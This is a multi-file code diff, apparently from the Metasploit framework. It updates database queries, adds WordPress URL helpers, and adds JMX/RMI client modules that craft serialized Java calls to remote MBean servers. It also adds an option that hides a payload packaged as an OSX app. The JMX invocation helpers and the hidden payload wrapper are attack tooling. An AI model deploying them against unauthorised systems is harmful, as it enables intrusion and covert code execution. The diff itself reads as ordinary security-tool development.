shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
|
||||
}
|
||||
|
||||
var process = Components.classes["@mozilla.org/process/util;1"]
|
||||
.createInstance(Components.interfaces.nsIProcess);
|
||||
var sh = Components.classes["@mozilla.org/file/local;1"]
|
||||
|
|
|
@ -49,9 +49,6 @@ module UserProfiles
|
|||
#
|
||||
def parse_profile(hive)
|
||||
profile={}
|
||||
sidinf = resolve_sid(hive['SID'].to_s)
|
||||
profile['UserName'] = sidinf[:name]
|
||||
profile['Domain'] = sidinf[:domain]
|
||||
profile['SID'] = hive['SID']
|
||||
profile['ProfileDir'] = hive['PROF']
|
||||
profile['AppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'AppData')
|
||||
|
@ -65,6 +62,12 @@ module UserProfiles
|
|||
profile['Temp'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'TEMP').to_s.sub('%USERPROFILE%',profile['ProfileDir'])
|
||||
profile['Path'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'PATH')
|
||||
|
||||
sidinf = resolve_sid(hive['SID'].to_s)
|
||||
if sidinf
|
||||
profile['UserName'] = sidinf[:name]
|
||||
profile['Domain'] = sidinf[:domain]
|
||||
end
|
||||
|
||||
return profile
|
||||
end
|
||||
|
||||
|
|
|
@ -55,7 +55,7 @@ private
|
|||
return hosts if opts[:addresses].class != Array
|
||||
conditions = {}
|
||||
conditions[:address] = opts[:addresses]
|
||||
hent = wspace.hosts.all(:conditions => conditions)
|
||||
hent = wspace.hosts.where(conditions)
|
||||
hosts |= hent if hent.class == Array
|
||||
end
|
||||
return hosts
|
||||
|
@ -73,7 +73,7 @@ private
|
|||
conditions = {}
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
sret = h.services.all(:conditions => conditions)
|
||||
sret = h.services.where(conditions)
|
||||
next if sret == nil
|
||||
services |= sret if sret.class == Array
|
||||
services << sret if sret.class == ::Mdm::Service
|
||||
|
@ -85,7 +85,7 @@ private
|
|||
conditions = {}
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
sret = wspace.services.all(:conditions => conditions)
|
||||
sret = wspace.services.where(conditions)
|
||||
services |= sret if sret.class == Array
|
||||
services << sret if sret.class == ::Mdm::Service
|
||||
end
|
||||
|
@ -189,8 +189,7 @@ public
|
|||
|
||||
ret = {}
|
||||
ret[:hosts] = []
|
||||
wspace.hosts.all(:conditions => conditions, :order => :address,
|
||||
:limit => limit, :offset => offset).each do |h|
|
||||
wspace.hosts.where(conditions).offset(offset).order(:address).limit(limit).each do |h|
|
||||
host = {}
|
||||
host[:created_at] = h.created_at.to_i
|
||||
host[:address] = h.address.to_s
|
||||
|
@ -226,8 +225,7 @@ public
|
|||
ret = {}
|
||||
ret[:services] = []
|
||||
|
||||
wspace.services.all(:include => :host, :conditions => conditions,
|
||||
:limit => limit, :offset => offset).each do |s|
|
||||
wspace.services.includes(:host).where(conditions).offset(offset).limit(limit).each do |s|
|
||||
service = {}
|
||||
host = s.host
|
||||
service[:host] = host.address || "unknown"
|
||||
|
@ -258,7 +256,7 @@ public
|
|||
|
||||
ret = {}
|
||||
ret[:vulns] = []
|
||||
wspace.vulns.all(:include => :service, :conditions => conditions, :limit => limit, :offset => offset).each do |v|
|
||||
wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v|
|
||||
vuln = {}
|
||||
reflist = v.refs.map { |r| r.name }
|
||||
if(v.service)
|
||||
|
@ -423,7 +421,7 @@ public
|
|||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:name] = opts[:names] if opts[:names]
|
||||
sret = wspace.services.all(:conditions => conditions, :order => "hosts.address, port")
|
||||
sret = wspace.services.where(conditions).order("hosts.address, port")
|
||||
else
|
||||
sret = host.services
|
||||
end
|
||||
|
@ -564,8 +562,7 @@ public
|
|||
|
||||
ret = {}
|
||||
ret[:notes] = []
|
||||
wspace.notes.all(:include => [:host, :service], :conditions => conditions,
|
||||
:limit => limit, :offset => offset).each do |n|
|
||||
wspace.notes.includes(:host, :service).where(conditions).offset(offset).limit(limit).each do |n|
|
||||
note = {}
|
||||
note[:time] = n.created_at.to_i
|
||||
note[:host] = ""
|
||||
|
@ -737,7 +734,7 @@ public
|
|||
elsif opts[:addresses]
|
||||
return { :result => 'failed' } if opts[:addresses].class != Array
|
||||
conditions = { :address => opts[:addresses] }
|
||||
hent = wspace.hosts.all(:conditions => conditions)
|
||||
hent = wspace.hosts.where(conditions)
|
||||
return { :result => 'failed' } if hent == nil
|
||||
hosts |= hent if hent.class == Array
|
||||
hosts << hent if hent.class == ::Mdm::Host
|
||||
|
@ -749,7 +746,7 @@ public
|
|||
conditions = {}
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
sret = h.services.all(:conditions => conditions)
|
||||
sret = h.services.where(conditions)
|
||||
next if sret == nil
|
||||
services << sret if sret.class == ::Mdm::Service
|
||||
services |= sret if sret.class == Array
|
||||
|
@ -761,7 +758,7 @@ public
|
|||
conditions = {}
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
sret = wspace.services.all(:conditions => conditions)
|
||||
sret = wspace.services.where(conditions)
|
||||
services << sret if sret and sret.class == ::Mdm::Service
|
||||
services |= sret if sret and sret.class == Array
|
||||
end
|
||||
|
@ -794,7 +791,7 @@ public
|
|||
elsif opts[:addresses]
|
||||
return { :result => 'failed' } if opts[:addresses].class != Array
|
||||
conditions = { :address => opts[:addresses] }
|
||||
hent = wspace.hosts.all(:conditions => conditions)
|
||||
hent = wspace.hosts.where(conditions)
|
||||
return { :result => 'failed' } if hent == nil
|
||||
hosts |= hent if hent.class == Array
|
||||
hosts << hent if hent.class == ::Mdm::Host
|
||||
|
@ -829,7 +826,7 @@ public
|
|||
ret = {}
|
||||
ret[:events] = []
|
||||
|
||||
wspace.events.all(:limit => limit, :offset => offset).each do |e|
|
||||
wspace.events.offset(offset).limit(limit).each do |e|
|
||||
event = {}
|
||||
event[:host] = e.host.address if(e.host)
|
||||
event[:created_at] = e.created_at.to_i
|
||||
|
@ -874,7 +871,7 @@ public
|
|||
|
||||
ret = {}
|
||||
ret[:loots] = []
|
||||
wspace.loots.all(:limit => limit, :offset => offset).each do |l|
|
||||
wspace.loots.offset(offset).limit(limit).each do |l|
|
||||
loot = {}
|
||||
loot[:host] = l.host.address if(l.host)
|
||||
loot[:service] = l.service.name || l.service.port if(l.service)
|
||||
|
@ -964,8 +961,7 @@ public
|
|||
ret = {}
|
||||
ret[:clients] = []
|
||||
|
||||
wspace.clients.all(:include => :host, :conditions => conditions,
|
||||
:limit => limit, :offset => offset).each do |c|
|
||||
wspace.clients.includes(:host).where(conditions).offset(offset).limit(limit).each do |c|
|
||||
client = {}
|
||||
client[:host] = c.host.address.to_s if c.host
|
||||
client[:ua_string] = c.ua_string
|
||||
|
@ -999,7 +995,7 @@ public
|
|||
conditions = {}
|
||||
conditions[:ua_name] = opts[:ua_name] if opts[:ua_name]
|
||||
conditions[:ua_ver] = opts[:ua_ver] if opts[:ua_ver]
|
||||
cret = h.clients.all(:conditions => conditions)
|
||||
cret = h.clients.where(conditions)
|
||||
else
|
||||
cret = h.clients
|
||||
end
|
||||
|
|
|
@ -77,9 +77,17 @@ module Msf::HTTP::Wordpress::URIs
|
|||
#
|
||||
# @return [String] Wordpress Admin Ajax URL
|
||||
def wordpress_url_admin_ajax
|
||||
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
|
||||
normalize_uri(wordpress_url_backend, 'admin-ajax.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Admin Posts URL
|
||||
#
|
||||
# @return [String] Wordpress Admin Post URL
|
||||
def wordpress_url_admin_post
|
||||
normalize_uri(wordpress_url_backend, 'admin-post.php')
|
||||
end
|
||||
|
||||
|
||||
# Returns the Wordpress wp-content dir URL
|
||||
#
|
||||
# @return [String] Wordpress wp-content dir URL
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
require 'msf/java/jmx/util'
|
||||
require 'msf/java/jmx/discovery'
|
||||
require 'msf/java/jmx/handshake'
|
||||
require 'msf/java/jmx/mbean'
|
||||
|
||||
include Msf::Java::Jmx::Util
|
||||
include Msf::Java::Jmx::Discovery
|
||||
include Msf::Java::Jmx::Handshake
|
||||
include Msf::Java::Jmx::Mbean
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
|
||||
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def jmx_role
|
||||
datastore['JMX_ROLE']
|
||||
end
|
||||
|
||||
def jmx_password
|
||||
datastore['JMX_PASSWORD']
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle JMX end points discovery
|
||||
module Discovery
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to discover
|
||||
# an JMX RMI endpoint
|
||||
#
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def discovery_stream
|
||||
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(
|
||||
nil,
|
||||
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle a JMX handshake
|
||||
module Handshake
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to make
|
||||
# a JMX handshake with an endpoint
|
||||
#
|
||||
# @param id [String] The endpoint UnicastRef ObjId
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def handshake_stream(obj_id)
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
|
||||
if jmx_role
|
||||
username = jmx_role
|
||||
password = jmx_password || ''
|
||||
|
||||
stream.contents << auth_array_stream(username, password)
|
||||
else
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
end
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an authenticated handshake
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
||||
def auth_array_stream(username, password)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
auth_array
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,13 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
require 'msf/java/jmx/mbean/server_connection'
|
||||
|
||||
include Msf::Java::Jmx::Mbean::ServerConnection
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,155 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
# This module provides methods which help to handle with MBean related calls.
|
||||
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
|
||||
# class
|
||||
module ServerConnection
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the createMBean method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def create_mbean_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
|
||||
# Java getObjectInstance method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def get_object_instance_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the Java invoke method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :object the object whose method we want to call
|
||||
# @option opts [String] :method the method name to invoke
|
||||
# @option opts [String] :args the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
arguments = opts[:args] || {}
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: 0xacf317f8060854e0, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: invoke_arguments_stream(arguments).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
|
||||
stream.contents << marshall_object
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java invoke method method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_arguments_stream(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle data
|
||||
# used by Java JMX
|
||||
module Util
|
||||
|
||||
# Extracts a Rex::Java::Serialization::Model::NewObject from
|
||||
# a Rex::Java::Serialization::Model::Stream
|
||||
#
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
|
||||
# @param id [Fixnum] the content position storing the object
|
||||
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
|
||||
def extract_object(stream, id)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[id]
|
||||
new_object = stream.contents[id]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('n')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('N')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts an UnicastRef (endpoint) information from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Hash, nil] the extracted int if success, nil otherwise
|
||||
def extract_unicast_ref(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
id = io.read
|
||||
|
||||
{ address: address, port: port, id: id }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,138 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java/serialization'
|
||||
require 'stringio'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
|
||||
require 'msf/java/rmi/client/streams'
|
||||
|
||||
include Msf::Java::Rmi::Client::Streams
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# Returns the target host
|
||||
#
|
||||
# @return [String]
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Returns the target port
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Returns the RMI server peer
|
||||
#
|
||||
# @return [String]
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Sends a RMI header stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_header
|
||||
def send_header(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_header(opts)
|
||||
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
|
||||
end
|
||||
|
||||
# Sends a RMI CALL stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_call
|
||||
def send_call(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_call(opts)
|
||||
nsock.put(stream.encode)
|
||||
end
|
||||
|
||||
# Sends a RMI DGCACK stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_dgc_ack
|
||||
def send_dgc_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_dgc_ack(opts)
|
||||
nsock.put(stream.encode)
|
||||
end
|
||||
|
||||
# Reads the Protocol Ack
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
|
||||
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
||||
def recv_protocol_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
return nil
|
||||
end
|
||||
|
||||
ack
|
||||
end
|
||||
|
||||
# Reads a ReturnData message and returns the java serialized stream
|
||||
# with the return data value.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Java::Serialization::Stream]
|
||||
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
||||
def recv_return(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
return nil
|
||||
end
|
||||
|
||||
return_data.return_value
|
||||
end
|
||||
|
||||
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [String]
|
||||
def safe_get_once(nsock = sock)
|
||||
data = ''
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
|
||||
until res.nil? || res.length < 1448
|
||||
data << res
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
end
|
||||
|
||||
data << res if res
|
||||
data
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Streams
|
||||
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -734,16 +734,27 @@ require 'msf/core/exe/segment_injector'
|
|||
# @param [Hash] opts the options hash
|
||||
# @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user)
|
||||
# @option opts [String] :app_name (random) the name of the OSX app
|
||||
# @option opts [String] :hidden (true) hide the app when it is running
|
||||
# @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file
|
||||
# @return [String] zip archive containing an OSX .app directory
|
||||
def self.to_osx_app(exe, opts = {})
|
||||
exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8)
|
||||
app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8)
|
||||
plist_extra = opts[:plist_extra] || ''
|
||||
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
|
||||
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
|
||||
hidden = opts.fetch(:hidden, true)
|
||||
plist_extra = opts.fetch(:plist_extra, '')
|
||||
|
||||
app_name.chomp!(".app")
|
||||
app_name += ".app"
|
||||
|
||||
visible_plist = if hidden
|
||||
%Q|
|
||||
<key>LSBackgroundOnly</key>
|
||||
<string>1</string>
|
||||
|
|
||||
else
|
||||
''
|
||||
end
|
||||
|
||||
info_plist = %Q|
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -754,7 +765,7 @@ require 'msf/core/exe/segment_injector'
|
|||
<key>CFBundleIdentifier</key>
|
||||
<string>com.#{exe_name}.app</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>#{exe_name}</string>
|
||||
<string>#{exe_name}</string>#{visible_plist}
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
#{plist_extra}
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -51,4 +51,5 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
require 'rex/java/serialization/model'
|
||||
